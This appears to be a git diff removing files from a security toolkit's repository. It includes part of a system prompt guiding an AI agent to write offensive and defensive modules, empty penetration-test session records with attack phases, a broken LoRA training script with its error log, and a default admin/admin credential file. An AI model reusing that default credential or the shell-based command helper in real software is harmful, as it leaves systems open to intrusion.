||||||
- `web/` — Flask web dashboard (routes/, templates/, static/)
|
|
||||||
- `data/` — Databases, configs, JSON files
|
|
||||||
- `models/` — LLM model files (GGUF)
|
|
||||||
|
|
||||||
## Module Categories
|
|
||||||
| Category | Color | Purpose |
|
|
||||||
|----------|-------|---------|
|
|
||||||
| defense | Blue | Security hardening, monitoring, firewalls |
|
|
||||||
| offense | Red | Penetration testing, exploitation |
|
|
||||||
| counter | Purple | Counter-intelligence, threat response |
|
|
||||||
| analyze | Cyan | Analysis, forensics, packet inspection |
|
|
||||||
| osint | Green | Open source intelligence gathering |
|
|
||||||
| simulate | Yellow | Attack simulation, red team exercises |
|
|
||||||
|
|
||||||
## How to Create a Module
|
|
||||||
Every module in `modules/` MUST have these attributes and a `run()` function:
|
|
||||||
|
|
||||||
```python
|
|
||||||
"""
|
|
||||||
Module description docstring
|
|
||||||
"""
|
|
||||||
import os
|
|
||||||
import sys
|
|
||||||
import subprocess
|
|
||||||
from pathlib import Path
|
|
||||||
|
|
||||||
# Module metadata — REQUIRED
|
|
||||||
DESCRIPTION = "What this module does"
|
|
||||||
AUTHOR = "darkHal"
|
|
||||||
VERSION = "1.0"
|
|
||||||
CATEGORY = "defense" # One of: defense, offense, counter, analyze, osint, simulate
|
|
||||||
|
|
||||||
sys.path.insert(0, str(Path(__file__).parent.parent))
|
|
||||||
from core.banner import Colors, clear_screen, display_banner
|
|
||||||
|
|
||||||
|
|
||||||
class ModuleClassName:
|
|
||||||
"""Main class for this module."""
|
|
||||||
|
|
||||||
def print_status(self, message, status="info"):
|
|
||||||
colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
|
|
||||||
symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
|
|
||||||
print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")
|
|
||||||
|
|
||||||
def run_cmd(self, cmd, timeout=30):
|
|
||||||
try:
|
|
||||||
r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
|
|
||||||
return r.returncode == 0, r.stdout.strip()
|
|
||||||
except Exception as e:
|
|
||||||
return False, str(e)
|
|
||||||
|
|
||||||
# Add your methods here...
|
|
||||||
|
|
||||||
|
|
||||||
def run():
|
|
||||||
"""Entry point for CLI mode."""
|
|
||||||
mod = ModuleClassName()
|
|
||||||
# Interactive menu or direct execution
|
|
||||||
```
|
|
||||||
|
|
||||||
## Important Rules
|
|
||||||
1. Use the `create_module` tool to write modules — it validates and saves them automatically
|
|
||||||
2. Always include the metadata: DESCRIPTION, AUTHOR, VERSION, CATEGORY
|
|
||||||
3. Always include a `run()` function
|
|
||||||
4. Use `subprocess.run()` for system commands — support both Windows (PowerShell/netsh) and Linux (bash)
|
|
||||||
5. Import from `core.banner` for Colors
|
|
||||||
6. Module filenames should be lowercase with underscores (e.g., `port_scanner.py`)
|
|
||||||
7. Study existing modules with `read_file` if you need to understand patterns
|
|
||||||
8. The web dashboard discovers modules automatically from the `modules/` directory
|
|
||||||
|
|
||||||
## Platform
|
|
||||||
This system runs on Windows. Use PowerShell commands where appropriate, but also support Linux fallbacks.
|
|
||||||
|
|
||||||
## Existing Modules (for reference)
|
|
||||||
- defender.py — System hardening checks (CATEGORY: defense)
|
|
||||||
- defender_windows.py — Windows-native security checks (CATEGORY: defense)
|
|
||||||
- defender_monitor.py — Real-time threat monitoring (CATEGORY: defense)
|
|
||||||
- recon.py — Network reconnaissance (CATEGORY: offense)
|
|
||||||
- counter.py — Counter-intelligence tools (CATEGORY: counter)
|
|
||||||
- adultscan.py — Adult content scanner (CATEGORY: analyze)
|
|
||||||
- agent_hal.py — AI security automation (CATEGORY: core)
|
|
||||||
- wireshark.py — Packet analysis (CATEGORY: analyze)
|
|
||||||
- hardware_local.py — Hardware interaction (CATEGORY: hardware)
|
|
||||||
|
|
||||||
## How You Should Respond
|
|
||||||
- For simple questions: answer directly
|
|
||||||
- For module creation requests: use the create_module tool
|
|
||||||
- For system queries: use the shell tool
|
|
||||||
- For code exploration: use read_file and search_files
|
|
||||||
- Always explain what you're doing and why
|
|
||||||
@@ -1,129 +0,0 @@
|
|||||||
{
|
|
||||||
"session_id": "10_0_0_56_20260214_010220",
|
|
||||||
"target": "10.0.0.56",
|
|
||||||
"state": "completed",
|
|
||||||
"created_at": "2026-02-14T01:02:20.746609",
|
|
||||||
"updated_at": "2026-02-14T01:12:20.951316",
|
|
||||||
"notes": "",
|
|
||||||
"step_count": 0,
|
|
||||||
"tree": {
|
|
||||||
"target": "10.0.0.56",
|
|
||||||
"created_at": "2026-02-14T01:02:20.746597",
|
|
||||||
"updated_at": "2026-02-14T01:02:20.746742",
|
|
||||||
"root_nodes": [
|
|
||||||
"e0d00dbc",
|
|
||||||
"cf120ead",
|
|
||||||
"6f4a664c",
|
|
||||||
"814f0376",
|
|
||||||
"5b602881",
|
|
||||||
"4d2e70e8"
|
|
||||||
],
|
|
||||||
"nodes": {
|
|
||||||
"e0d00dbc": {
|
|
||||||
"id": "e0d00dbc",
|
|
||||||
"label": "Reconnaissance",
|
|
||||||
"node_type": "reconnaissance",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Information gathering and target enumeration",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 1,
|
|
||||||
"created_at": "2026-02-14T01:02:20.746668",
|
|
||||||
"updated_at": "2026-02-14T01:02:20.746668"
|
|
||||||
},
|
|
||||||
"cf120ead": {
|
|
||||||
"id": "cf120ead",
|
|
||||||
"label": "Initial Access",
|
|
||||||
"node_type": "initial_access",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Gaining initial foothold on target",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 2,
|
|
||||||
"created_at": "2026-02-14T01:02:20.746685",
|
|
||||||
"updated_at": "2026-02-14T01:02:20.746685"
|
|
||||||
},
|
|
||||||
"6f4a664c": {
|
|
||||||
"id": "6f4a664c",
|
|
||||||
"label": "Privilege Escalation",
|
|
||||||
"node_type": "privilege_escalation",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Escalating from initial access to higher privileges",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 3,
|
|
||||||
"created_at": "2026-02-14T01:02:20.746699",
|
|
||||||
"updated_at": "2026-02-14T01:02:20.746699"
|
|
||||||
},
|
|
||||||
"814f0376": {
|
|
||||||
"id": "814f0376",
|
|
||||||
"label": "Lateral Movement",
|
|
||||||
"node_type": "lateral_movement",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Moving to other systems in the network",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 4,
|
|
||||||
"created_at": "2026-02-14T01:02:20.746711",
|
|
||||||
"updated_at": "2026-02-14T01:02:20.746711"
|
|
||||||
},
|
|
||||||
"5b602881": {
|
|
||||||
"id": "5b602881",
|
|
||||||
"label": "Credential Access",
|
|
||||||
"node_type": "credential_access",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Obtaining credentials and secrets",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 3,
|
|
||||||
"created_at": "2026-02-14T01:02:20.746726",
|
|
||||||
"updated_at": "2026-02-14T01:02:20.746726"
|
|
||||||
},
|
|
||||||
"4d2e70e8": {
|
|
||||||
"id": "4d2e70e8",
|
|
||||||
"label": "Persistence",
|
|
||||||
"node_type": "persistence",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Maintaining access to compromised systems",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 5,
|
|
||||||
"created_at": "2026-02-14T01:02:20.746739",
|
|
||||||
"updated_at": "2026-02-14T01:02:20.746739"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"events": [
|
|
||||||
{
|
|
||||||
"timestamp": "2026-02-14T01:02:20.746747",
|
|
||||||
"event_type": "state_change",
|
|
||||||
"data": {
|
|
||||||
"from": "idle",
|
|
||||||
"to": "running"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"timestamp": "2026-02-14T01:12:20.951316",
|
|
||||||
"event_type": "state_change",
|
|
||||||
"data": {
|
|
||||||
"from": "running",
|
|
||||||
"to": "completed",
|
|
||||||
"summary": ""
|
|
||||||
}
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"findings": [],
|
|
||||||
"pipeline_history": []
|
|
||||||
}
|
|
||||||
@@ -1,120 +0,0 @@
|
|||||||
{
|
|
||||||
"session_id": "192_168_1_100_20260127_202421",
|
|
||||||
"target": "192.168.1.100",
|
|
||||||
"state": "running",
|
|
||||||
"created_at": "2026-01-27T20:24:21.604010",
|
|
||||||
"updated_at": "2026-01-27T20:24:21.604098",
|
|
||||||
"notes": "",
|
|
||||||
"step_count": 0,
|
|
||||||
"tree": {
|
|
||||||
"target": "192.168.1.100",
|
|
||||||
"created_at": "2026-01-27T20:24:21.604003",
|
|
||||||
"updated_at": "2026-01-27T20:24:21.604091",
|
|
||||||
"root_nodes": [
|
|
||||||
"4be13ed9",
|
|
||||||
"8dc38740",
|
|
||||||
"22ee2768",
|
|
||||||
"2c45477f",
|
|
||||||
"6f793ae8",
|
|
||||||
"778fc896"
|
|
||||||
],
|
|
||||||
"nodes": {
|
|
||||||
"4be13ed9": {
|
|
||||||
"id": "4be13ed9",
|
|
||||||
"label": "Reconnaissance",
|
|
||||||
"node_type": "reconnaissance",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Information gathering and target enumeration",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 1,
|
|
||||||
"created_at": "2026-01-27T20:24:21.604032",
|
|
||||||
"updated_at": "2026-01-27T20:24:21.604032"
|
|
||||||
},
|
|
||||||
"8dc38740": {
|
|
||||||
"id": "8dc38740",
|
|
||||||
"label": "Initial Access",
|
|
||||||
"node_type": "initial_access",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Gaining initial foothold on target",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 2,
|
|
||||||
"created_at": "2026-01-27T20:24:21.604044",
|
|
||||||
"updated_at": "2026-01-27T20:24:21.604044"
|
|
||||||
},
|
|
||||||
"22ee2768": {
|
|
||||||
"id": "22ee2768",
|
|
||||||
"label": "Privilege Escalation",
|
|
||||||
"node_type": "privilege_escalation",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Escalating from initial access to higher privileges",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 3,
|
|
||||||
"created_at": "2026-01-27T20:24:21.604056",
|
|
||||||
"updated_at": "2026-01-27T20:24:21.604056"
|
|
||||||
},
|
|
||||||
"2c45477f": {
|
|
||||||
"id": "2c45477f",
|
|
||||||
"label": "Lateral Movement",
|
|
||||||
"node_type": "lateral_movement",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Moving to other systems in the network",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 4,
|
|
||||||
"created_at": "2026-01-27T20:24:21.604066",
|
|
||||||
"updated_at": "2026-01-27T20:24:21.604066"
|
|
||||||
},
|
|
||||||
"6f793ae8": {
|
|
||||||
"id": "6f793ae8",
|
|
||||||
"label": "Credential Access",
|
|
||||||
"node_type": "credential_access",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Obtaining credentials and secrets",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 3,
|
|
||||||
"created_at": "2026-01-27T20:24:21.604077",
|
|
||||||
"updated_at": "2026-01-27T20:24:21.604077"
|
|
||||||
},
|
|
||||||
"778fc896": {
|
|
||||||
"id": "778fc896",
|
|
||||||
"label": "Persistence",
|
|
||||||
"node_type": "persistence",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Maintaining access to compromised systems",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 5,
|
|
||||||
"created_at": "2026-01-27T20:24:21.604088",
|
|
||||||
"updated_at": "2026-01-27T20:24:21.604088"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"events": [
|
|
||||||
{
|
|
||||||
"timestamp": "2026-01-27T20:24:21.604098",
|
|
||||||
"event_type": "state_change",
|
|
||||||
"data": {
|
|
||||||
"from": "idle",
|
|
||||||
"to": "running"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"findings": [],
|
|
||||||
"pipeline_history": []
|
|
||||||
}
|
|
||||||
@@ -1,120 +0,0 @@
|
|||||||
{
|
|
||||||
"session_id": "192_168_50_78_20260130_133833",
|
|
||||||
"target": "192.168.50.78",
|
|
||||||
"state": "running",
|
|
||||||
"created_at": "2026-01-30T13:38:33.830336",
|
|
||||||
"updated_at": "2026-01-30T13:38:33.830464",
|
|
||||||
"notes": "",
|
|
||||||
"step_count": 0,
|
|
||||||
"tree": {
|
|
||||||
"target": "192.168.50.78",
|
|
||||||
"created_at": "2026-01-30T13:38:33.830323",
|
|
||||||
"updated_at": "2026-01-30T13:38:33.830460",
|
|
||||||
"root_nodes": [
|
|
||||||
"e4c40c28",
|
|
||||||
"ddd63828",
|
|
||||||
"b3f2634d",
|
|
||||||
"9c162c78",
|
|
||||||
"aa40d5a3",
|
|
||||||
"0c50a23d"
|
|
||||||
],
|
|
||||||
"nodes": {
|
|
||||||
"e4c40c28": {
|
|
||||||
"id": "e4c40c28",
|
|
||||||
"label": "Reconnaissance",
|
|
||||||
"node_type": "reconnaissance",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Information gathering and target enumeration",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 1,
|
|
||||||
"created_at": "2026-01-30T13:38:33.830390",
|
|
||||||
"updated_at": "2026-01-30T13:38:33.830390"
|
|
||||||
},
|
|
||||||
"ddd63828": {
|
|
||||||
"id": "ddd63828",
|
|
||||||
"label": "Initial Access",
|
|
||||||
"node_type": "initial_access",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Gaining initial foothold on target",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 2,
|
|
||||||
"created_at": "2026-01-30T13:38:33.830408",
|
|
||||||
"updated_at": "2026-01-30T13:38:33.830408"
|
|
||||||
},
|
|
||||||
"b3f2634d": {
|
|
||||||
"id": "b3f2634d",
|
|
||||||
"label": "Privilege Escalation",
|
|
||||||
"node_type": "privilege_escalation",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Escalating from initial access to higher privileges",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 3,
|
|
||||||
"created_at": "2026-01-30T13:38:33.830421",
|
|
||||||
"updated_at": "2026-01-30T13:38:33.830421"
|
|
||||||
},
|
|
||||||
"9c162c78": {
|
|
||||||
"id": "9c162c78",
|
|
||||||
"label": "Lateral Movement",
|
|
||||||
"node_type": "lateral_movement",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Moving to other systems in the network",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 4,
|
|
||||||
"created_at": "2026-01-30T13:38:33.830433",
|
|
||||||
"updated_at": "2026-01-30T13:38:33.830433"
|
|
||||||
},
|
|
||||||
"aa40d5a3": {
|
|
||||||
"id": "aa40d5a3",
|
|
||||||
"label": "Credential Access",
|
|
||||||
"node_type": "credential_access",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Obtaining credentials and secrets",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 3,
|
|
||||||
"created_at": "2026-01-30T13:38:33.830445",
|
|
||||||
"updated_at": "2026-01-30T13:38:33.830445"
|
|
||||||
},
|
|
||||||
"0c50a23d": {
|
|
||||||
"id": "0c50a23d",
|
|
||||||
"label": "Persistence",
|
|
||||||
"node_type": "persistence",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Maintaining access to compromised systems",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 5,
|
|
||||||
"created_at": "2026-01-30T13:38:33.830457",
|
|
||||||
"updated_at": "2026-01-30T13:38:33.830457"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"events": [
|
|
||||||
{
|
|
||||||
"timestamp": "2026-01-30T13:38:33.830464",
|
|
||||||
"event_type": "state_change",
|
|
||||||
"data": {
|
|
||||||
"from": "idle",
|
|
||||||
"to": "running"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"findings": [],
|
|
||||||
"pipeline_history": []
|
|
||||||
}
|
|
||||||
@@ -1,120 +0,0 @@
|
|||||||
{
|
|
||||||
"session_id": "example_com_20260128_192244",
|
|
||||||
"target": "example.com",
|
|
||||||
"state": "running",
|
|
||||||
"created_at": "2026-01-28T19:22:44.670292",
|
|
||||||
"updated_at": "2026-01-28T19:22:44.670428",
|
|
||||||
"notes": "test",
|
|
||||||
"step_count": 0,
|
|
||||||
"tree": {
|
|
||||||
"target": "example.com",
|
|
||||||
"created_at": "2026-01-28T19:22:44.670279",
|
|
||||||
"updated_at": "2026-01-28T19:22:44.670423",
|
|
||||||
"root_nodes": [
|
|
||||||
"466dcf04",
|
|
||||||
"55991daa",
|
|
||||||
"e3209082",
|
|
||||||
"af036f87",
|
|
||||||
"633c0eeb",
|
|
||||||
"8584f7fc"
|
|
||||||
],
|
|
||||||
"nodes": {
|
|
||||||
"466dcf04": {
|
|
||||||
"id": "466dcf04",
|
|
||||||
"label": "Reconnaissance",
|
|
||||||
"node_type": "reconnaissance",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Information gathering and target enumeration",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 1,
|
|
||||||
"created_at": "2026-01-28T19:22:44.670353",
|
|
||||||
"updated_at": "2026-01-28T19:22:44.670353"
|
|
||||||
},
|
|
||||||
"55991daa": {
|
|
||||||
"id": "55991daa",
|
|
||||||
"label": "Initial Access",
|
|
||||||
"node_type": "initial_access",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Gaining initial foothold on target",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 2,
|
|
||||||
"created_at": "2026-01-28T19:22:44.670371",
|
|
||||||
"updated_at": "2026-01-28T19:22:44.670371"
|
|
||||||
},
|
|
||||||
"e3209082": {
|
|
||||||
"id": "e3209082",
|
|
||||||
"label": "Privilege Escalation",
|
|
||||||
"node_type": "privilege_escalation",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Escalating from initial access to higher privileges",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 3,
|
|
||||||
"created_at": "2026-01-28T19:22:44.670384",
|
|
||||||
"updated_at": "2026-01-28T19:22:44.670384"
|
|
||||||
},
|
|
||||||
"af036f87": {
|
|
||||||
"id": "af036f87",
|
|
||||||
"label": "Lateral Movement",
|
|
||||||
"node_type": "lateral_movement",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Moving to other systems in the network",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 4,
|
|
||||||
"created_at": "2026-01-28T19:22:44.670397",
|
|
||||||
"updated_at": "2026-01-28T19:22:44.670397"
|
|
||||||
},
|
|
||||||
"633c0eeb": {
|
|
||||||
"id": "633c0eeb",
|
|
||||||
"label": "Credential Access",
|
|
||||||
"node_type": "credential_access",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Obtaining credentials and secrets",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 3,
|
|
||||||
"created_at": "2026-01-28T19:22:44.670408",
|
|
||||||
"updated_at": "2026-01-28T19:22:44.670408"
|
|
||||||
},
|
|
||||||
"8584f7fc": {
|
|
||||||
"id": "8584f7fc",
|
|
||||||
"label": "Persistence",
|
|
||||||
"node_type": "persistence",
|
|
||||||
"status": "todo",
|
|
||||||
"parent_id": null,
|
|
||||||
"children": [],
|
|
||||||
"details": "Maintaining access to compromised systems",
|
|
||||||
"tool_output": null,
|
|
||||||
"findings": [],
|
|
||||||
"priority": 5,
|
|
||||||
"created_at": "2026-01-28T19:22:44.670420",
|
|
||||||
"updated_at": "2026-01-28T19:22:44.670420"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"events": [
|
|
||||||
{
|
|
||||||
"timestamp": "2026-01-28T19:22:44.670428",
|
|
||||||
"event_type": "state_change",
|
|
||||||
"data": {
|
|
||||||
"from": "idle",
|
|
||||||
"to": "running"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"findings": [],
|
|
||||||
"pipeline_history": []
|
|
||||||
}
|
|
||||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Binary file not shown.
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Binary file not shown.
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -1,97 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
"""AUTARCH LoRA Training Script (Transformers + PEFT)"""
|
|
||||||
import json
|
|
||||||
import torch
|
|
||||||
from datasets import Dataset
|
|
||||||
from transformers import (
|
|
||||||
AutoModelForCausalLM, AutoTokenizer, TrainingArguments,
|
|
||||||
BitsAndBytesConfig,
|
|
||||||
)
|
|
||||||
from peft import LoraConfig, get_peft_model, prepare_model_for_kbit_training
|
|
||||||
from trl import SFTTrainer
|
|
||||||
|
|
||||||
# Quantization config
|
|
||||||
bnb_config = BitsAndBytesConfig(
|
|
||||||
load_in_4bit=True,
|
|
||||||
bnb_4bit_quant_type="nf4",
|
|
||||||
bnb_4bit_compute_dtype=torch.float16,
|
|
||||||
bnb_4bit_use_double_quant=True,
|
|
||||||
) if True else None
|
|
||||||
|
|
||||||
print("Loading base model: models/Hal_v2.gguf")
|
|
||||||
model = AutoModelForCausalLM.from_pretrained(
|
|
||||||
"models/Hal_v2.gguf",
|
|
||||||
quantization_config=bnb_config,
|
|
||||||
device_map="auto",
|
|
||||||
trust_remote_code=False,
|
|
||||||
)
|
|
||||||
tokenizer = AutoTokenizer.from_pretrained("models/Hal_v2.gguf", trust_remote_code=False)
|
|
||||||
if tokenizer.pad_token is None:
|
|
||||||
tokenizer.pad_token = tokenizer.eos_token
|
|
||||||
|
|
||||||
if True:
|
|
||||||
model = prepare_model_for_kbit_training(model)
|
|
||||||
|
|
||||||
# LoRA config
|
|
||||||
lora_config = LoraConfig(
|
|
||||||
r=16,
|
|
||||||
lora_alpha=32,
|
|
||||||
lora_dropout=0.05,
|
|
||||||
target_modules=["q_proj", "k_proj", "v_proj", "o_proj",
|
|
||||||
"gate_proj", "up_proj", "down_proj"],
|
|
||||||
bias="none",
|
|
||||||
task_type="CAUSAL_LM",
|
|
||||||
)
|
|
||||||
model = get_peft_model(model, lora_config)
|
|
||||||
model.print_trainable_parameters()
|
|
||||||
|
|
||||||
# Load dataset
|
|
||||||
samples = []
|
|
||||||
with open("C:\she\autarch\data\training\autarch_dataset_20260302_202634.jsonl", "r") as f:
|
|
||||||
for line in f:
|
|
||||||
samples.append(json.loads(line))
|
|
||||||
|
|
||||||
def format_sample(sample):
|
|
||||||
if "conversations" in sample:
|
|
||||||
msgs = sample["conversations"]
|
|
||||||
text = ""
|
|
||||||
for msg in msgs:
|
|
||||||
role = "user" if msg["from"] == "human" else "assistant"
|
|
||||||
text += f"<|im_start|>{role}\n{msg['value']}<|im_end|>\n"
|
|
||||||
return {"text": text}
|
|
||||||
else:
|
|
||||||
return {"text": f"<|im_start|>user\n{sample['instruction']}\n{sample.get('input','')}<|im_end|>\n<|im_start|>assistant\n{sample['output']}<|im_end|>\n"}
|
|
||||||
|
|
||||||
dataset = Dataset.from_list([format_sample(s) for s in samples])
|
|
||||||
print(f"Dataset: {len(dataset)} samples")
|
|
||||||
|
|
||||||
# Train
|
|
||||||
trainer = SFTTrainer(
|
|
||||||
model=model,
|
|
||||||
tokenizer=tokenizer,
|
|
||||||
train_dataset=dataset,
|
|
||||||
dataset_text_field="text",
|
|
||||||
max_seq_length=2048,
|
|
||||||
args=TrainingArguments(
|
|
||||||
output_dir="C:\she\autarch\data\training\output",
|
|
||||||
num_train_epochs=3,
|
|
||||||
per_device_train_batch_size=4,
|
|
||||||
gradient_accumulation_steps=4,
|
|
||||||
learning_rate=0.0002,
|
|
||||||
warmup_ratio=0.03,
|
|
||||||
save_steps=50,
|
|
||||||
logging_steps=10,
|
|
||||||
fp16=True,
|
|
||||||
optim="adamw_8bit",
|
|
||||||
report_to="none",
|
|
||||||
),
|
|
||||||
)
|
|
||||||
|
|
||||||
print("Starting training...")
|
|
||||||
trainer.train()
|
|
||||||
print("Training complete!")
|
|
||||||
|
|
||||||
# Save
|
|
||||||
model.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
|
|
||||||
tokenizer.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
|
|
||||||
print(f"LoRA adapter saved to C:\she\autarch\data\training\output/lora_adapter")
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
C:\she\autarch\data\training\train_lora.py:50: SyntaxWarning: invalid escape sequence '\s'
|
|
||||||
with open("C:\she\autarch\data\training\autarch_dataset_20260302_202634.jsonl", "r") as f:
|
|
||||||
C:\she\autarch\data\training\train_lora.py:76: SyntaxWarning: invalid escape sequence '\s'
|
|
||||||
output_dir="C:\she\autarch\data\training\output",
|
|
||||||
C:\she\autarch\data\training\train_lora.py:95: SyntaxWarning: invalid escape sequence '\s'
|
|
||||||
model.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
|
|
||||||
C:\she\autarch\data\training\train_lora.py:96: SyntaxWarning: invalid escape sequence '\s'
|
|
||||||
tokenizer.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
|
|
||||||
C:\she\autarch\data\training\train_lora.py:97: SyntaxWarning: invalid escape sequence '\s'
|
|
||||||
print(f"LoRA adapter saved to C:\she\autarch\data\training\output/lora_adapter")
|
|
||||||
Traceback (most recent call last):
|
|
||||||
File "C:\she\autarch\data\training\train_lora.py", line 5, in <module>
|
|
||||||
from datasets import Dataset
|
|
||||||
ModuleNotFoundError: No module named 'datasets'
|
|
||||||
Binary file not shown.
@@ -1,5 +0,0 @@
|
|||||||
{
|
|
||||||
"username": "admin",
|
|
||||||
"password": "admin",
|
|
||||||
"force_change": true
|
|
||||||
}
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
pip
|
|
||||||
@@ -1,91 +0,0 @@
|
|||||||
Metadata-Version: 2.4
|
|
||||||
Name: Flask
|
|
||||||
Version: 3.1.3
|
|
||||||
Summary: A simple framework for building complex web applications.
|
|
||||||
Maintainer-email: Pallets <contact@palletsprojects.com>
|
|
||||||
Requires-Python: >=3.9
|
|
||||||
Description-Content-Type: text/markdown
|
|
||||||
License-Expression: BSD-3-Clause
|
|
||||||
Classifier: Development Status :: 5 - Production/Stable
|
|
||||||
Classifier: Environment :: Web Environment
|
|
||||||
Classifier: Framework :: Flask
|
|
||||||
Classifier: Intended Audience :: Developers
|
|
||||||
Classifier: Operating System :: OS Independent
|
|
||||||
Classifier: Programming Language :: Python
|
|
||||||
Classifier: Topic :: Internet :: WWW/HTTP :: Dynamic Content
|
|
||||||
Classifier: Topic :: Internet :: WWW/HTTP :: WSGI
|
|
||||||
Classifier: Topic :: Internet :: WWW/HTTP :: WSGI :: Application
|
|
||||||
Classifier: Topic :: Software Development :: Libraries :: Application Frameworks
|
|
||||||
Classifier: Typing :: Typed
|
|
